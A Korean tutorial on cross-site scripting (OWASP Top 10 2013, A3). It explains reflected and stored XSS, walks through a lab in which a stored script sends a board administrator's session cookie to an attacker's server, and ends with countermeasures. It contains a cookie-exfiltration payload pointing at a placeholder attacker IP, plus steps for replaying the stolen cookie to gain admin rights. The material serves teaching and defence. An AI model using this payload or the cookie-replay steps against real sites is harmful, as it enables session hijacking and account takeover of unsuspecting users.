OWASP Top 10 2013 - A3. Cross Site Scripting (XSS)

XSS

개요

XSS는 Cross Site Scripting의 줄임말로 2013년도 OWASP TOP 10에서는 A3로 지정된  웹 어플리케이션 취약점이며, 2013년도 뿐만 아니라

이전 년도의 버전에서도 꾸준히  TOP 10 안에 드는 HTML Injection의 한 부분으로서 단순하면서도 매우 치명적인 공격이다. 이 공격 기법은

다른 공격 대부분과 달리 공격의 대상이 서버가 아닌 클라이언트라는 큰  차이점을 가지고 있다.

 

 

 

발생원인
본 취약점은 컨텐츠를 암호화, 검증하는 절차 없이 사용자가 제공하는 데이터를 어플리케이션에서 받아들이거나 보낼 때 발생한다.

이러한 XSS의 취약점이 발생되는 원인은 사용자들의 편의를 위해 웹 어플리케이션에서 HTML 태그 사용이 허용되었기 때문에 발생하며, 

이렇게 발생되는 취약점으로부터 사용자 세션을 가로채거나, 권한 상승, 홈페이지 변조, 악의적인  사이트로 리다이렉트 등의 공격을

수행할 수 있다. XSS의 공격 과정은 다음과 같다.

 

 

1. 공격자가 악의적인 목적을 가지고, 웹 서버에 스크립트를 삽입한다.

2. 클라이언트가 스크립트가 삽입된 게시물에 접근을 한다.

3. 클라이언트가 스크립트에 접근을 했을 경우, 클라이언트의 브라우저에서 스크립트가 실행됨으로써 공격자가 입력한 코드가 실행된다.

 

 

 

 

XSS 종류

Reflected XSS (Non-Persistent)

일반적으로 어플리케이션이 동적인 페이지를 사용해 사용자들에게 에러 메시지를 보여줄 때 발생한다. 서버에 저장되지 않고 공격자가

의도한 스크립트를 실행하게 하는 것이다. 이러한 URL은 악의적인 내용이 노출 되지 않게 하기 위해 URL 인코딩을  하는 경우가 일반적이다.

 

 

   1. 임의의 사용자가 해당 어플리케이션에 로그인 (세션 토큰을 포함하는 쿠키 발행)
   2. 공격자가 악의적으로 스크립트 코드를 삽입한 다음 URL을 사용자에게 노출 (사용자 유도)
   3. 임의의 사용자가 조작된 URL 클릭
   4. 공격자가 삽입한 스크립트의 요청을 서버에서 응답 (공격자의 의도대로 작동)
   5. 서버로부터 받은 응답, 즉 공격자가 조작한 스크립트가 사용자의 브라우저에서 실행
   6. 공격자의 의도되로 스크립트가 실행 (사용자의 세션 토큰을 공격자에게 전송)
   7. 가로챈 사용자의 세션 토큰을 이용하여 사용자의 권한을 얻게 되고, 이어 2~3차 피해 발생

 

 

 

 

 

 

 

 

Stored XSS

 일반적으로 2가지 요청 단계를 거치는 공격 기법이다.
   1) 공격자가 악성 코드가 담긴 조작된 데이터를 웹 어플리케이션의 서버단에 등록
   2) 희생자가 공격자의 데이터에 담긴 악성코드가 실행되는 페이지를 열람함으로써, 공격이 성공
   * Reflected XSS와 다른점은 서버에 저장한다는 점이며, 주로 게시판이나 방명록 등 HTML 태그를 사용할 수 있는 곳에서 취약점이 발생됨

 

 

 

 

   1. 공격자가 악성 스크립트가 포함된 HTML 코드를 게시판에 등록
   2. 임의의 사용자가 로그인 (세션 토큰을 포함하는 쿠키 발행)
   3. 임의의 사용자가 공격자가 등록한 게시글을 열람 (서버에서 공격자가 조작한 스크립트 요청)
   4. 서버가 요청한 스크립트의 응답을 사용자에게 전송
   5. 사용자의 부라우저에서 공격자가 조작한 스크립트가 실행 (세션 토큰을 공격자에게 전송)
   6. 실행된 스크립트로 인하여 사용자 자신의 세션 토큰을 공격자에게 전송
   7. 전달받은 세션을 이용하여 사용자의 권한을 얻으며, 2~3차 피해 발생

 

 

 

 

 

공격 실습

 

실습 환경

Server : Windows Server 2012 with Open-Source Solution

Hacker : Windows 7 with IE 10, 6, and Cookxie Toolbar

 

 

 

시나리오

공격자는 먼저 악성스크립트가 실행되어 로그인 세션 정보를 가져오기 위한 자신의 웹 서버를 설정한 뒤 로그인 세션 정보를 가로채는

악성스크립트를 게시판에 올린다. 만약 임의의 사용자가 해당 게시글을 열람하게 된다면 악성스크립트가 실행되어 사용자의 로그인 세션

정보가 공격자에게 전송될 것이다. 전송받은 세션 정보가 유효한 동안 공격자는 해당 사용자의 로그인 세션을 이요할 수 있게 된다.

 

 

 

Hacker의 웹 서버 설정

로그인 세션 정보를 저장하기 위한 공격자 웹 서버를 설정한다. 단순히 실습을 위해서라면 Target의 시스템에 localhost로 저장해도 문제가 없으나

실제 환경인 것처럼 실습하기 위함이다.

또한 실습에서는 php 기반의 오픈소스를 사용할 것이기 때문에 Hacer의 웹 서버 역시 php가 동작할 수 있는 환경을 구축하는 것이 좋다. 웹 서버 설정이 완료되었다면 공격을 위해 사용할 php 소스 파일을 다음과 같이 작성한다. 파일이 저장될 위치는 Hacker의 웹 서버 경로이며  파일명은 상관하지

않는다.

 

 

 

 

 

 

 쿠키 저장 테스트

이제 웹 브라우저를 열어 URL을 다음과 같이 하여 접속을 시도한다.
 http://웹서버IP/위소스파일명?cookie=테스트쿠키값

모든 환경이 적절하게 세팅되었다면, 클라이언트가 위의 URL로 들어가게 되면 클라이언트의 웹 브라우저는 다음과 같이 하얀 화면에서 멈추게

된다. 이 경우 URL을 클릭한 희생자는 신의 세션 정보가 탈취되었다는 생각 보다는 그냥 단순한 웹 브라우저 이상이라고 생각하기 쉽다.

 

위의 URL 접속 시 나타나는 클라이언트 브라우저 화면

 

 

 

접속 후 Hacker의 웹 서버에 미리 설정해 놓은 파일을 보면 다음과 같이 클라이언트의 쿠키 값이 log.txt 라는 팡리에 저장된 것을 볼 수 있다.

 

 

 

 

악성 스크립트 작성

이제 로그인 세션 정보를 가로챌 악성 스크립트를 작성할 시간이다. 일반 계정(Attacker)으로
위에서 구축한 웹 서버 게시판에 악성 스크립트가 포함된 글을 게시하는데, 다음과 같은 형식의 스크립트를 사용한다.

<script>document.location=’http://공격자 서버 IP/파일명?cookie=’+document.cookie</script>

위 형식의 스크립트를 적절이 이용하여 웹 게시판에 다음과 같은 글을 남긴다.

 

 

 

만약 관리자(관리자 로그인 시 관리자 기능이라는 숨겨진 메뉴가 보여짐)가 게시판을 관리하다가 해당 글을 누르게 된다고 가정해보자.

 

 

아래의 사진에서 1번째 라인은, 위에서 테스했던 쿠키 값이며 2번째 라인이 관리자가 글을 클릭했을 시 Attacker의 웹 서버에 저장되는 관리자의 쿠키 값이다. Hacker는 이것을 이용하여 일반 사용자가 관리자 권한을 얻게 되는 상황을 만들 수 있다.

 

 

 

 

 

 

 

권한 상승

 

위와 같은 상황에서 권한 상승을 할 수 있는 방법은 크게 3가지 방법이 있다.

 

1) Proxy Tool을 이용하여 처음부터 웹 페이지를 요청할 때 trap를 걸어 Header의 내용을 조시키는 것이다. 일반적으로 Header에는 세션 ID 값이

   포함 된다.

 

 

2) cooxie toolbar를 이용하여, 일단 일반계정으로 로그인 후 위의 공격에서 얻은 관리자의 쿠키 값으로 재설정하는 것이다.

 

3) 웹 서버의 모든 페이지가 GET Method로 동작할 경우 URL에 관리자의 세션 값이 URL에 보여짐으로, URL을 분석하면서 해당 부분을 조작하는

    방법이 있다.

 

 

가장 쉬운 방법은 2번째 방법이기 때문에, Cooxie Toolbar를 설치한 다음 다시 한 번 사이트에 접속하여, Edit Cookie 버튼을 눌러 자신의 ID를 보면

다음과 같다.

 

 

현재 로그인한 사용자(일반) 계정의 쿠키값이다. 본 부분을 관리자의 쿠키 값으로 설정하면 권한 상승이 이루어진다.

 

이전의 공격에서 얻은 쿠키 값으로 변조한 사진이다. 이제 Set 버튼을 누르고 페이지를 새로 부르면(새로 고침) 다음과 같이 숨겨진

관리자 기능 버튼이 나타난다.

 

 

 

 

대응방안

 

위와 같은 공격이 성공하기 위해서는 다음과 같은 조건들이 필요하다.

1) 인증을 세션이 아닌 쿠키로 인증

2) XSS 취약점 존재

 

조건1 대응 방안

쿠키 인증시 쿠키 값이 클라이언트에 저장되는 것이 가장 큰 문제이다. 따라서 쿠키 값에 인증, 권한 등의 중요한 정보가 기록되지 않게 하거나

인증 방식을 쿠키 인증이 아닌 세션 인증으로 바꾸면 된다.

 

 

 

조건2 대응 방안

 

1) 적절한 필터링

스크립트 코드에 사용되는 특수문자에 대해 이해하고 적절한 필터링을 해야 한다.

가장 효과적인 방법은 사용자가 입력 가능한 문자만(알파벳, 숫자, 특수문자 몇 개)을 정해 노호고 그 외의 문자열은 모두 필터링 하는 방법이다. 이 방법은 CSRF 공격을 부분적으로  막을 수 있는 방법이기도 하다. 아래 그림은 XSS에 자주 사용되는 특수문자들의 표이다.

 

   

2) HTML 포맷 사용 금지

요즘 게시판에는 사용자에게 다양한 효과를 주기 위해 HTML 포맷을 사용하도록 되어있다. 꼭 필요한 경우가 아니라면 HTML 포맷 사용 금지를 하는 것이 좋으나 어쩔 수 없이

사용할 경우에는 허용할 태그를 white-list로 만들어 이 외의 태그는 모두 막는 것이 좋다.

 

3) 스크립트 자체 무효화

javascript라고 들어오는 문자열을 무조건 ‘x-javascript’와 같이 대체하며 스크립트 실행

자체를 무효화 시키는 방법이다.